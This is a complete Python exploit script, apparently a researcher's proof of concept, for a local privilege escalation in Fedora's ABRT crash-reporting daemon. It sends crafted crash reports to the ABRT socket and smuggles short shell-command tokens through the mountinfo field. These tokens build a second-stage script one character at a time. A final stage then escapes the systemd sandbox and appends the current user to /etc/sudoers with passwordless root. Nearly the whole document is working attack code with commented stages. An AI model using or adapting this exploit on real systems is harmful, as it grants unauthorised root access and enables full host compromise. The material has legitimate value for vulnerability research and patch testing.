README.md
Rendering markdown...
#!/usr/bin/env python3
"""
abrt_root: local privilege escalation vulnerability in Fedora's ABRT
Research and development by initstring.
"""
import getpass
import socket
import time
import uuid
from pathlib import Path
BANNER = """
####################################################################
abrt_root: local privilege escalation vulnerability in Fedora's ABRT
Research and development by initstring.
####################################################################
"""
SOCKET_PATH = "/var/run/abrt/abrt.socket"
HELPER_SCRIPT_NAME = "final"
RESET_TOKEN = ";:>q;:;:;:;:"
EXEC_TOKEN = ";sh\tq;:;:;:;"
APPEND_TEMPLATE = ";printf\t{char}>>q"
MAX_RETRIES = 10
SLEEP_BETWEEN_TOKENS = 0.5
def build_body(payload: str, reason: str, unique: str) -> bytes:
pid = str(int(unique[:4], 16) % 30000 + 1).encode()
cmdline = f"/usr/bin/python3 {unique}".encode()
container_cmd = f"/usr/bin/docker run test {unique}".encode()
type_tag = f"Python3-{unique[:6]}".encode()
fields = [
(b"type", type_tag),
(b"reason", reason.encode()),
(b"pid", pid),
(b"executable", f"/usr/bin/python3-{unique}".encode()),
(b"cmdline", cmdline),
(b"container_cmdline", container_cmd),
(b"mountinfo", b"74 2 0:36 / / rw,relatime shared:1 - ext4 " + payload.encode() + b"\n"),
(b"backtrace", f"trace {reason} {unique}".encode()),
(b"uuid", unique.encode()),
(b"duphash", unique.encode()),
]
body = bytearray()
for key, value in fields:
body += key + b"=" + value + b"\0"
return bytes(body)
def send_once(payload: str) -> str:
token = "/docker-" + payload
unique = uuid.uuid4().hex
reason = f"auto root {int(time.time())}-{unique[:6]}"
blob = b"POST / HTTP/1.1\r\n\r\n" + build_body(token, reason, unique)
with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as sock:
sock.connect(SOCKET_PATH)
sock.sendall(blob)
sock.shutdown(socket.SHUT_WR)
reply = sock.recv(4096).decode(errors="ignore").strip()
return reply or "<no response>"
def send_with_retry(payload: str) -> None:
for attempt in range(1, MAX_RETRIES + 1):
reply = send_once(payload)
# DEBUG
# print(f"[{payload!r}] attempt {attempt}: {reply}")
if "201" in reply:
time.sleep(SLEEP_BETWEEN_TOKENS)
return
time.sleep(SLEEP_BETWEEN_TOKENS)
raise RuntimeError(f"Failed to send payload '{payload}' with HTTP 201")
def token_for_char(ch: str) -> str:
token = APPEND_TEMPLATE.format(char=ch)
if len(token) != 12:
raise ValueError(f"Character {ch!r} produced token length {len(token)}")
return token
def main() -> None:
print(BANNER)
# First we write out the third/final stage to a script in the current working directory.
# It contains our ultimate goal - escaping the systemd sandbox to write our current
# low-priv user name to /etc/sudoers to give us root access.
current_user = getpass.getuser()
cwd = Path.cwd()
helper_script_path = cwd / HELPER_SCRIPT_NAME
helper_script_path.write_text(
f"systemd-run --pty -- bash -lc \"echo '{current_user} ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers\"\n",
encoding="ascii",
)
helper_script_path.chmod(0o755)
# Next we build the text which will be written to the second stage script.
# It is meant to call the third stage script. Characters are limited in this second stage
# script, which is why we can't just list the complex commands from above.
# The PWD vars you see are not resolved here in the Python script - they are instead
# resolved when the targeted daemon executes the script. It has `PWD=/` in its context
# which allows us to write the `/` which otherwise is filtered out during this stage
# of the attack.
command = "${PWD}" + "${PWD}".join(helper_script_path.resolve().parts[1:])
# The reset token just clears the file (/q) where we are writing that second stage to.
print("[+] Executing stage one...")
send_with_retry(RESET_TOKEN)
time.sleep(3)
# This is stage one of the attack. We have just enough bytes to perfectly inject a
# command which will append one character to a file. It loops through to write out
# the second stage script to `/q`
for index, ch in enumerate(command, 1):
token = token_for_char(ch)
# DEBUG
# print(f"[+] Staging char {index}/{len(command)} -> {token!r}")
send_with_retry(token)
# This uses the same 12-byte gadget to execute the stage two script that has
# now been written to `/q`. That script, in turn, executes the stage three script
# which has no character limitations and completes the exploit.
print("[+] Chaining execution of stage two and three...")
send_with_retry(EXEC_TOKEN)
print("\n[+] Now you're playing with power.")
if __name__ == "__main__":
main()